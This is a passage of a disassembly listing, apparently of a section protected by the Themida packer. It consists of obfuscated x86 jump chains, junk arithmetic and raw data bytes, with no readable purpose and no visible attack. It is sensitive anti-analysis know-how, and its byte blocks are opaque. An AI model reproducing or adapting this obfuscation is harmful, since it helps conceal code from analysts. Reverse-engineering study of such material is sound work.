		dd 0B95EFFFFh, 45D45362h, 3C8BF931h, 11685624h,	89000054h
		dd 4812424h, 424h, 24348B00h, 4C481h, 0C6810000h, 4, 4BF57h
		dd 0B8500000h, 5654018Ch, 51798435h, 58C6290Dh,	0C681FE01h
		dd 5B057808h, 2434335Fh, 0E9243431h, 0FFFFC1C3h, 1FB568h
		dd 24248900h, 4240483h,	4C5815Dh, 56000000h, 468h, 24348B00h
		dd 4C481h, 0F5290000h, 242C875Eh, 0AF42E95Ch, 0E95AFFFFh
		dd 0FFFFDC79h
; ---------------------------------------------------------------------------


loc_56C8F4:				; CODE XREF: Themida_:0056FE1Fj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	7ABAh
		mov	[esp], eax
		push	esp
		pop	eax
		push	10B2h
		mov	[esp], ecx
		jmp	loc_56829D
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 0F23AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C91E:				; CODE XREF: Themida_:00560036j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56B1EA
; ---------------------------------------------------------------------------


loc_56C929:				; CODE XREF: Themida_:0056D860j
		pop	edi
		push	edi
		push	esi
		mov	esi, 0EF26869h
		mov	edi, esi
		jmp	loc_56E31A
; ---------------------------------------------------------------------------
		dd 3F30DE05h, 0FF505938h, 0E9042474h, 0FFFF6328h
; ---------------------------------------------------------------------------


loc_56C948:				; CODE XREF: Themida_:0055C94Aj
		add	eax, ecx
		push	44BCh
		mov	[esp], edx
		jmp	loc_5602D0
; ---------------------------------------------------------------------------


loc_56C957:				; CODE XREF: Themida_:0056C2CDj
		push	esp
		pop	ebp
		jmp	loc_564217
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 9469F4E6h, 0C5E9571Bh, 48FFFF21h, 0A905E8D1h, 15E3B08h
		dd 0E90158C5h, 0FFCA215Dh, 0E9592434h, 269Dh, 0F42DD0F7h
		dd 3141880Ah, 8610E9C3h, 0F129FFFFh, 0C8E9815Eh, 0C11A3F74h
		dd 48E907E1h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C9A3:				; CODE XREF: Themida_:0056B123j
		push	ecx
		mov	ecx, 32435C8Ah
		dec	ecx
		neg	ecx
		xor	ecx, 7F98784Bh
		add	ecx, 596319FFh
		add	ecx, 312B102Eh
		dec	ecx
		jmp	loc_57073E
; ---------------------------------------------------------------------------
		dd 6BB5EB81h, 0EB8109B6h, 713E1EC3h, 8324048Bh,	0C38104C4h
		dd 4, 31241C33h, 1C33241Ch, 24248B24h, 0C468F1F7h, 8900004Bh
		dd 9C502414h, 0FEFAD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C9F9:				; CODE XREF: Themida_:0056C498j
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 73BE2E06h
		mov	eax, 73BE2E1Ah
		xor	eax, ecx
		mov	ecx, [esp]
		jmp	loc_568EC7
; ---------------------------------------------------------------------------


loc_56CA26:				; CODE XREF: Themida_:0055DA66j
		pop	eax
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_55CE3D
; ---------------------------------------------------------------------------


loc_56CA34:				; CODE XREF: Themida_:0056A669j
		add	esp, 4
		jmp	loc_56EADE
; ---------------------------------------------------------------------------
		db 83h
		dd 0DFE904ECh, 5FFFF92h, 4D3A5336h, 0FF3821E9h,	0F1015FFFh
		dd 6362E981h, 348B6001h, 4C48324h, 1AD5E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CA65:				; CODE XREF: Themida_:00570A89j
		add	ecx, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		jmp	loc_564CDE
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF536EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CA89:				; CODE XREF: Themida_:0056912Dj
		mov	[ecx], ebx
		pop	ecx
		pop	ebx
		pop	edi
		jmp	loc_56BF5B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 12C4h
; ---------------------------------------------------------------------------


loc_56CAA8:				; CODE XREF: Themida_:0056782Bj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	460Dh
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_55F58A
; ---------------------------------------------------------------------------
		db 89h
		dd 5E542434h, 0FF626CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CAD9:				; CODE XREF: Themida_:00569BE6j
		pop	edx
		add	eax, edi
		push	edx
		mov	edx, 12711280h
		sub	edx, 545E3622h
		neg	edx
		add	edx, 20073995h
		add	eax, edx
		jmp	loc_55DDF2
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0C3830000h, 1A2BE904h, 0EC80FFFFh, 58E200A5h
		dd 0FFB04FE9h, 0F0E95DFFh, 81FFFF9Fh, 4ECh, 24048900h
		dd 0FFEF27E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB25:				; CODE XREF: Themida_:005626B8j
		push	26895930h
		pop	eax
		sub	eax, 2689592Ch
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 403E0E20h
		pop	ecx
		xor	ecx, 403E0E20h
		pop	eax
		add	eax, ecx
		jmp	loc_56CDA3
; ---------------------------------------------------------------------------
		dd 4EE81h, 34870000h, 34895C24h, 81E68924h, 4C6h, 0E9525000h
		dd 0FFFF4769h, 73E9D601h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CB6F:				; CODE XREF: Themida_:0056E67Ej
		add	esp, 4
		jmp	loc_56472E
; ---------------------------------------------------------------------------
		dw 8B68h
		dd 5A397D7Eh, 0E281D2F7h, 66311A4Ch, 0FF42C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB8D:				; CODE XREF: Themida_:0055F7B5j
		mov	ebx, esp
		jmp	loc_5669DB
; ---------------------------------------------------------------------------
		dd 5350565Fh, 3285E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CB9E:				; CODE XREF: Themida_:00564170j
		add	eax, ebp
		sub	eax, 3FC803DFh
		push	dword ptr [esp]
		jmp	loc_56C4B0
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58300h, 8B242C87h, 0ED812424h, 70777377h, 8124048Bh
		dd 4C4h, 0E9EE0100h, 0FFFFE463h
; ---------------------------------------------------------------------------


loc_56CBD4:				; CODE XREF: Themida_:00563966j
		pop	ebx
		push	esi
		mov	esi, 25D85142h
		sub	edx, esi
		pop	esi
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0E60409h, 2434FFC2h,	8124048Bh, 4C4h, 3685000h, 89000021h
		dd 4832424h, 5580424h, 4, 8704C083h, 0E95C2404h, 416h
		dd 8324248Bh, 348904ECh, 7AB95124h, 8101D132h, 0BB4BC4C9h
		dd 3E9C17Ah, 81FFC183h,	7B6AC4F1h, 0A83BE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CC3A:				; CODE XREF: Themida_:0055E320j
		pop	eax
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56E2C7
; ---------------------------------------------------------------------------
		dd 10CFBA52h, 19E90F88h, 5FFFFD7h, 4, 0FC65E957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56CC72:				; CODE XREF: Themida_:0056A280j
		pop	esp
		or	eax, eax
		jnz	loc_5647B8
		push	ebp
		push	25B5h
		mov	[esp], edi
		jmp	loc_56D01F
; ---------------------------------------------------------------------------
		db 0B8h, 0AAh, 3Bh
		dd 25480A89h, 420924FEh, 502E8C1h, 2D0584BEh, 0FFB0E2E9h
		dd 0E78957FFh, 4B850h, 0C7010000h, 4EF8158h, 0E9000000h
		dd 2CEDh, 8704C783h, 0AFE9243Ch
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CCC3:				; CODE XREF: Themida_:0056EA7Cj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_561AAB
; ---------------------------------------------------------------------------


loc_56CCD1:				; CODE XREF: Themida_:00562828j
		shr	eax, 0Bh
		xor	ecx, eax
		push	3E42h
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 42D81091h
		jmp	loc_56E845
; ---------------------------------------------------------------------------
		dw 0EBAh
		dd 81613565h, 651B1BC3h, 81D32978h, 651B1BEBh, 0E9555A78h
		dd 0FFFF84AEh, 68ED8145h, 0E94637D1h, 0FFFF94E7h
; ---------------------------------------------------------------------------


loc_56CD24:				; CODE XREF: Themida_:0056C19Ej
		add	edx, 4
		sub	edx, 4
		jmp	loc_565350
; ---------------------------------------------------------------------------


loc_56CD32:				; CODE XREF: Themida_:0056792Fj
		xchg	esi, [esp]
		pop	esp
		sub	ebp, 16151544h
		sub	ebp, 6F921F34h
		add	ebp, eax
		jmp	loc_564FDA
; ---------------------------------------------------------------------------


loc_56CD49:				; CODE XREF: Themida_:0056D2F5j
		pop	esi
		add	edi, 4
		jmp	loc_56521B
; ---------------------------------------------------------------------------


loc_56CD52:				; CODE XREF: Themida_:0056A9BDj
		mov	edi, 0
		jmp	loc_566167
; ---------------------------------------------------------------------------


loc_56CD5C:				; CODE XREF: Themida_:0056B4C3j
		sub	eax, 67E251C9h
		jmp	loc_56A750
; ---------------------------------------------------------------------------
		dw 0E888h
		dd 81240C8Bh, 4C4h, 66C68800h, 0B6525058h, 50C6FE44h, 15E9D4B4h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD83:				; CODE XREF: Themida_:0055CAF6j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_566271
; ---------------------------------------------------------------------------
		dw 6C01h
		dd 0E95D0424h, 0FFFF80BFh, 2414895Ch, 85E99C50h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CDA3:				; CODE XREF: Themida_:0056CB47j
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	6B00h
		jmp	loc_561FD9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0F7DFFAF4h, 0FF6BE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CDC9:				; CODE XREF: Themida_:0055E5D7j
		push	2285h
		mov	[esp], edx
		jmp	loc_56515D
; ---------------------------------------------------------------------------


loc_56CDD6:				; CODE XREF: Themida_:005605F7j
		push	2606h
		jmp	loc_56E1FE
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFDC5Ch, 0BEE9B204h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CDEF:				; CODE XREF: Themida_:0055F419j
		push	ebx
		mov	ebx, 3A14CEBh
		jmp	loc_56E79F
; ---------------------------------------------------------------------------
		dw 9DB5h
		dd 66E9EE88h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE03:				; CODE XREF: Themida_:0056F054j
		and	edi, 619F3D5Ah
		push	ebp
		push	ebx
		jmp	loc_56E0BE
; ---------------------------------------------------------------------------


loc_56CE10:				; CODE XREF: Themida_:00563E02j
		shl	ebp, 6
		shr	ebp, 5
		shl	ebp, 6
		push	edi
		push	edx
		mov	edx, 92670FF9h
		mov	edi, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55C4F8
; ---------------------------------------------------------------------------


loc_56CE39:				; CODE XREF: Themida_:005614D7j
		mov	[esp], edi
		add	dword ptr [esp], 720F7EF9h
		pop	eax
		jmp	loc_569E8E
; ---------------------------------------------------------------------------


loc_56CE49:				; CODE XREF: Themida_:00567BEDj
		mov	edi, esp
		jmp	loc_56D2FA
; ---------------------------------------------------------------------------


loc_56CE50:				; CODE XREF: Themida_:00569CBEj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_567BA7
; ---------------------------------------------------------------------------


loc_56CE5B:				; CODE XREF: Themida_:0056E7BAj
		mov	ecx, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_55FB9C
; ---------------------------------------------------------------------------
		dw 31ADh
		dd 5F1D68D8h, 4890000h,	1A53E924h, 0D2F7FFFFh, 6FF2C281h
		dd 0C9E961ABh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE9F:				; CODE XREF: Themida_:00563B78j
		push	ebx
		push	edx
		push	370A1C22h
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55C74C
; ---------------------------------------------------------------------------
		dw 8147h
		dd 4430A1CFh, 69F6E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CEC6:				; CODE XREF: Themida_:00562117j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_567367
; ---------------------------------------------------------------------------
		dd 4245401h, 2434FF5Ah,	0E924348Bh, 3355h, 4CAAE981h, 0C1297533h
		dd 0AABF5752h, 8975334Ch, 0D1015FFAh, 24048B5Ah, 8104C483h
		dd 5761FAEBh, 81CB0158h, 5761FAC3h, 32F0E958h, 0D0010000h
		dd 0F40DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF16:				; CODE XREF: Themida_:0055DE65j
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56AE11
; ---------------------------------------------------------------------------


loc_56CF24:				; CODE XREF: Themida_:0056E0C4j
		add	ebx, 1
		jmp	loc_56158A
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 0FFFFAD03h, 0E828342Ch, 0E9E93404h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF43:				; CODE XREF: Themida_:00567D99j
		mov	ecx, 2567FA2h
		shr	ecx, 6
		push	ebp
		mov	ebp, 1B2E051Fh
		sub	ebp, 2DB90F44h
		jmp	loc_55CA9D
; ---------------------------------------------------------------------------
		dd 4BEh, 53E95700h, 81FFFEF6h, 5B3D8AC1h, 0D2BB5D12h, 2941BF6Eh
		dd 0BD5559CBh, 58F62FA9h, 0A77324BFh, 0F1C781C9h, 294F4745h
		dd 0F1EF81EFh, 5D4F4745h, 0E95BDF31h, 1D35h, 0E981D101h
		dd 73DA14A5h, 2AF6E981h, 39885E09h, 81240C8Bh, 4C4h, 59E95B00h
		dd 0F7FFFFA5h, 0ECEE9D1h, 1C330000h, 24248B24h,	0FF00ADE9h
		dd 243431FFh, 8B243433h, 8B662424h, 68562404h, 60DCh, 89243489h
		dd 75BB53E6h, 4B311D02h, 25D8E9h, 4C48100h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_563A18
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1DB66824h, 2C890000h, 4010E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D012:				; CODE XREF: Themida_:0055DDF3j
		push	4D3h
		mov	[esp], ebx
		jmp	loc_5632A6
; ---------------------------------------------------------------------------


loc_56D01F:				; CODE XREF: Themida_:0056CC84j
		mov	edi, 5085828h
		push	ecx
		jmp	loc_56E542
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 92C28005h, 0FF5907E9h, 7F47BEFFh, 0E681610Ah, 2986077Fh
		dd 5E3DC681h, 7FE90CDEh, 66FFFFDBh, 5124048Bh, 233A68h
		dd 0DBC9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D05A:				; CODE XREF: Themida_:005659BBj
		push	esi
		jmp	loc_56061E
; ---------------------------------------------------------------------------


loc_56D060:				; CODE XREF: Themida_:00565C76j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56B641
; ---------------------------------------------------------------------------
		dd 5C241487h, 68240489h, 0EBFh,	0FFA50FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D085:				; CODE XREF: Themida_:00563354j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2B2F4C26h
		inc	eax
		add	eax, 0FFFFFFFFh
		shl	eax, 7
		add	eax, 40F4760Ch
		jmp	loc_5607E9
; ---------------------------------------------------------------------------


loc_56D0A6:				; CODE XREF: Themida_:0055C770j
		pop	ebx
		jmp	loc_55EB53
; ---------------------------------------------------------------------------


loc_56D0AC:				; CODE XREF: Themida_:00563658j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_56324B
; ---------------------------------------------------------------------------
		dw 8952h
		dd 69BB53E2h, 4B60DD7Dh, 0FF89DDE9h, 96E951FFh,	5CFFFF38h
		dd 0BD242C89h, 68135E7Eh, 6ED0B951h, 0C5817ADDh, 104563CAh
		dd 0ED81CD01h, 104563CAh, 7E685159h, 59681138h,	1616C981h
		dd 0BD553386h, 99734Ch,	1EED814Dh, 4D486C1Dh, 0ED81DDF7h
		dd 4133208Dh, 0E6B1C581h, 0E9210D9Eh, 0C181415Dh, 3999030Ch
		dd 9BC5C181h, 4EE99941h, 81FFFF53h, 2C4h, 243C8600h, 0FEF38FE9h
		dd 89C289FFh, 0F7585AD6h, 46EE68DEh, 3C890000h,	3EDFBF24h
		dd 0FE2115EBh, 78BB535Fh, 1FAFFEBh, 0F2015BDEh,	8B2434FFh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56EF7A
; ---------------------------------------------------------------------------
		db 50h
		dd 0E288CC88h, 8BD48858h, 20E92414h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D193:				; CODE XREF: Themida_:00569E61j
		add	ecx, edi
		push	esi
		mov	esi, 51CC70DCh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 7CAA2D93h
		jmp	loc_56246D
; ---------------------------------------------------------------------------


loc_56D1AE:				; CODE XREF: Themida_:0056238Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_560EBC
; ---------------------------------------------------------------------------
		db 81h
		dd 91815DC6h, 5EF2299Ah, 5C241487h, 0E9241489h,	0FFFF7A7Ch
; ---------------------------------------------------------------------------


loc_56D1D4:				; CODE XREF: Themida_:0056D282j
		shr	ecx, 8
		push	eax
		mov	eax, 1DD861DDh
		push	ebp
		mov	ebp, 152C1D32h
		push	edi
		jmp	loc_55E03C
; ---------------------------------------------------------------------------
		db 47h,	0E9h, 30h
		dd 29FFFFB3h, 95E981C1h, 5377ED09h, 380A39BBh, 2EBC173h
		dd 8CC38143h, 8101A06Eh, 0A03FC0EBh, 5BD901A4h,	0E92434FFh
		dd 11B4h, 5A79E781h, 0F78153D2h, 4A067E70h, 55E9FB01h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D22B:				; CODE XREF: Themida_:00567937j
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	145Ah
		mov	[esp], ecx
		mov	ecx, 31DB1780h
		or	ecx, 55292F9Eh
		shl	ecx, 5
		push	ecx
		dec	dword ptr [esp]
		pop	ecx
		jmp	loc_56570E
; ---------------------------------------------------------------------------
		dw 5150h
		dd 0C220D368h, 0F7515925h, 81592414h, 6A690CC9h, 78BF5744h
		dd 8145AA4Eh, 1A74BC7h,	5DCEE989h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D276:				; CODE XREF: Themida_:00562157j
		xor	esi, ebx
		pop	ebx
		mov	ecx, esi
		pop	esi
		not	ecx
		inc	ecx
		shr	ecx, 7
		jmp	loc_56D1D4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 50662414h, 0F236E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D296:				; CODE XREF: Themida_:0056F380j
		dec	eax
		dec	eax
		dec	eax
		push	eax
		jmp	loc_56273B
; ---------------------------------------------------------------------------


loc_56D29F:				; CODE XREF: Themida_:0056A3ECj
		sub	ebp, 764F64C7h
		mov	esi, ebp
		pop	ebp
		shl	esi, 4
		neg	esi
		push	eax
		jmp	loc_56FFDE
; ---------------------------------------------------------------------------


loc_56D2B3:				; CODE XREF: Themida_:00560E2Fj
		push	eax
		mov	eax, 4
		sub	ebx, 68950FCCh
		add	ebx, eax
		add	ebx, 68950FCCh
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_56F385
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 0E9h
		dd 0FFFF07FDh
; ---------------------------------------------------------------------------


loc_56D2EC:				; CODE XREF: Themida_:00565930j
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_56CD49
; ---------------------------------------------------------------------------


loc_56D2FA:				; CODE XREF: Themida_:0056CE4Bj
		push	ebx
		mov	ebx, 914E5Bh
		not	ebx
		and	ebx, 5A8C457Ch
		not	ebx
		jmp	loc_568190
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 87000000h, 0D3E92434h, 5EFFFFB5h, 0FEFAA5E9h
		dd 0BCEB81FFh, 0E9277E64h, 0FFFFB250h, 3304EB83h, 1C31241Ch
		dd 241C3324h, 0FF04FFE9h, 7E0C1FFh, 5098B005h, 3E0BE90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D352:				; CODE XREF: Themida_:0056C195j
		pop	edi
		add	esi, 4
		jmp	loc_56A85B
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 4C381h, 0BEE90000h, 0F7FFFF3Dh, 61BA52D5h
		dd 0C166A04Dh, 0E28106EAh, 25065796h, 0FF5C7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D381:				; CODE XREF: Themida_:0055E604j
		inc	ebx
		not	ebx
		push	ebp
		jmp	loc_55D2B6
; ---------------------------------------------------------------------------


loc_56D38A:				; CODE XREF: Themida_:00562CE1j
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_56D38F:				; CODE XREF: Themida_:0056BD10j
		add	esp, 4
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 89h
		dd 5A682404h, 58646F0Ch, 0B956E105h, 0C58955F3h, 258568h
		dd 242C8900h, 89243481h, 8B76C901h, 89512434h, 4C181E1h
		dd 53000000h, 4BBh, 5BD90100h, 0FFB7C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D3D1:				; CODE XREF: Themida_:0056439Dj
		and	eax, edi
		mov	edi, [esp]
		push	6A77h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_56C47C
; ---------------------------------------------------------------------------
		dd 0C298E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3F6:				; CODE XREF: Themida_:005668F4j
		push	ecx
		push	26F8h
		mov	[esp], ebp
		push	eax
		mov	eax, 16111E0Dh
		mov	ebp, eax
		pop	eax
		xor	ebp, 7CA1598Bh
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, 3AA75B17h
		add	edx, ebp
		sub	edx, 3AA75B17h
		pop	ebp
		push	ecx
		jmp	loc_560649
; ---------------------------------------------------------------------------
		dd 8704C183h, 665C240Ch, 28B8B050h, 0F468E9C7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D43E:				; CODE XREF: Themida_:00562D0Ej
		push	edi
		mov	edi, 69005010h
		jmp	loc_55E267
; ---------------------------------------------------------------------------


loc_56D449:				; CODE XREF: Themida_:0056C10Aj
		xor	edi, 0FD95CB5Ch
		mov	ecx, edi
		pop	edi
		or	edx, ecx
		pop	ecx
		shl	edx, 4
		push	edx
		push	esi
		mov	esi, 1
		sub	dword ptr [esp+4], 5C8B7893h
		add	dword ptr [esp+4], 47B16AA8h
		add	dword ptr [esp+4], 1E161D46h
		add	dword ptr [esp+4], 58F54248h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 58F54248h
		sub	dword ptr [esp+4], 1E161D46h
		sub	dword ptr [esp+4], 47B16AA8h
		add	dword ptr [esp+4], 5C8B7893h
		pop	esi
		jmp	loc_56EE6F
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 94h
		dd 5DFFFFBAh, 4C581h, 0C5810000h, 4, 8B242C87h,	0C4832424h
		dd 68535704h, 35D41CFAh, 0FF8DE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D4D1:				; CODE XREF: Themida_:0055FA89j
		mov	esi, 0FFFFFFFFh
		add	edi, esi
		pop	esi
		not	edi
		jmp	loc_563270
; ---------------------------------------------------------------------------
		dd 1C8BDE89h, 4C48324h,	515EF001h, 2B9h, 0B9B0E900h, 565EFFFFh
		dd 0EC83E689h, 240C8904h, 0DE4A3FB9h, 20E9E919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D50A:				; CODE XREF: Themida_:0055D0A7j
		xor	ecx, [esp]
		jmp	loc_56A012
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 78C173Dh, 0E9E5D14Dh, 0FFFF7449h, 0E9241487h, 0FFFFEB9Bh
		dd 902C77B3h, 0D8004804h, 0A9E9482Ch
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D537:				; CODE XREF: Themida_:00565DD2j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		or	edi, 609D4128h
		and	edi, 184F31C0h
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 52551265h
		mov	ebp, ecx
		pop	ecx
		shl	ebp, 8
		jmp	loc_56A586
; ---------------------------------------------------------------------------
		db 88h
		dd 0C88EE9D4h, 0E829FFFFh, 0FEFA8DE9h, 0C46857FFh, 0E992B06Eh
		dd 324Eh, 65AFE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D586:				; CODE XREF: Themida_:0056EF2Dj
		pop	ebp
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_569ECD
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0C6h
		dd 0FA2906EBh, 0CE81DEF7h, 52E27549h, 77D6CE81h, 0E6816869h
		dd 31FE17E1h, 0FFB7E4E9h, 243C33FFh, 240CFF5Ch,	7CCBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D5BE:				; CODE XREF: Themida_:0056EA4Ej
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5685A7
; ---------------------------------------------------------------------------
		db 2Dh,	2 dup(0FFh)
		dd 3535FFFFh, 0E93AC30Eh, 0FFFF4DE4h, 2C781h, 3C870000h
		dd 31665C24h, 3366240Ch, 3166240Ch, 0C9E9240Ch,	56FFFEEEh
		dd 3662E957h, 1C89FFFFh, 94CE924h, 0C4810000h, 4, 3240E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D61E:				; CODE XREF: Themida_:0056A016j
		push	2126h
		jmp	loc_55E0CB
; ---------------------------------------------------------------------------


loc_56D628:				; CODE XREF: Themida_:005603DCj
		mov	esp, [esp]
		and	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_564826
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0EFB8619Bh, 0FFC1ECE9h, 24148BFFh, 287D68h, 24348900h
		dd 0FFA8DDE9h, 86DEB7FFh, 86D2F6D7h, 6E7C0D7h, 800EC780h
		dd 0F82804EFh, 7495E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D672:				; CODE XREF: Themida_:00569A9Ej
		push	eax
		mov	eax, 6D5D232Dh
		push	eax
		push	ebx
		mov	ebx, 7C635B3Dh
		sub	[esp+4], ebx
		jmp	loc_56EE29
; ---------------------------------------------------------------------------


loc_56D688:				; CODE XREF: Themida_:0056F17Cj
		push	247h
		jmp	loc_56F628
; ---------------------------------------------------------------------------


loc_56D692:				; CODE XREF: Themida_:00563615j
		mov	[esp], cx
		mov	ch, 11h
		sub	bl, ch
		pop	cx
		push	ax
		jmp	loc_56FED1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFAF2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D6A9:				; CODE XREF: Themida_:0056942Bj
		mov	edi, 78E528D9h
		not	edi
		push	0
		add	dword ptr [esp], 89067DAh
		jmp	loc_56535E
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
